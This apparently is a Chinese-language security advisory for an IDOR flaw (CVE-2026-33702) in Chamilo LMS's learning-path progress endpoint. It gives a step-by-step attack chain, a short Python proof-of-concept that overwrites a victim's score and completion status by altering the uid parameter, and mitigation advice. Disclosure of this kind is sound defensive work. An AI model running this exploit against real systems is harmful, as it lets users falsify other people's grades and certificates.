IPBUF安全漏洞报告
English
CVE-2026-33702 CVSS 7.1 高危

CVE-2026-33702 Chamilo LMS IDOR漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33702
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

IDORChamilo LMS权限绕过越权访问数据篡改

漏洞概述

Chamilo LMS是一个学习管理系统。在1.11.38和2.0.0-RC.3之前的版本中,系统存在一个不安全的直接对象引用(IDOR)漏洞。该漏洞位于学习路径进度保存端点lp_ajax_save_item.php中。由于该文件直接从请求参数中获取用户ID(uid),并在未验证请求用户身份与目标用户ID是否匹配的情况下,允许加载和修改其他用户的学习路径进度(包括分数、状态、完成度和时间)。任何已注册课程的身份验证用户都可以通过简单地修改请求中的uid参数来覆盖其他用户的进度数据。

技术细节

该漏洞的根本原因在于服务端缺乏对请求对象所有权的安全校验,属于典型的业务逻辑缺陷。具体而言,lp_ajax_save_item.php脚本直接信任用户提交的$_REQUEST['uid']参数,并将其用于查询和更新数据库中的学习进度记录。在正常的业务逻辑中,用户应当只能修改自己的学习进度,但该实现允许攻击者将uid参数替换为任意其他用户的ID。攻击过程无需复杂的交互,只需拥有课程内的普通用户权限。攻击者通过拦截或构造包含目标用户ID的HTTP请求发送至服务器,服务器处理请求时未进行会话用户与目标ID的权限比对,直接执行了数据库更新操作(UPDATE)。这导致攻击者可以篡改他人的学习成绩、伪造课程完成状态或修改学习时长,严重破坏了数据的完整性。这种利用方式隐蔽且危害较大,因为它绕过了前端或中间件的常规检查,直接操作后端数据。

攻击链分析

STEP 1
信息收集
攻击者注册并登录Chamilo LMS平台,获取有效的课程注册身份和会话Cookie。
STEP 2
漏洞探测
攻击者分析学习路径保存接口lp_ajax_save_item.php,发现其直接接收uid参数。
STEP 3
构造攻击请求
攻击者截获保存进度的请求,将uid参数修改为目标受害者的用户ID,并伪造高分或完成状态。
STEP 4
执行攻击
发送恶意请求到服务器,服务器因缺乏校验直接更新目标用户的数据库记录。
STEP 5
达成影响
受害者的学习进度被篡改,导致成绩异常或证书获取条件被恶意满足。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL, replace with actual domain target_url = "http://example.com/main/lp/lp_ajax_save_item.php" # Attacker's session cookie (obtained after login) session_cookie = { "PHPSESSID": "attacker_session_id_here" } # Payload parameters # The 'uid' parameter is the ID of the victim user we want to modify payload = { "uid": "2", # Victim's User ID "lp_item_id": "123", "score": "100", "status": "completed", "time": "9999" } # Send the request response = requests.post(target_url, data=payload, cookies=session_cookie) # Check response if response.status_code == 200: print("PoC executed successfully. Check if target user progress was modified.") else: print(f"Request failed with status code: {response.status_code}")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议管理员立即将Chamilo LMS升级到修复版本。如果无法立即升级,应修改lp_ajax_save_item.php文件,强制比对当前会话用户ID与请求参数中的uid,如果不一致则拒绝请求并记录日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表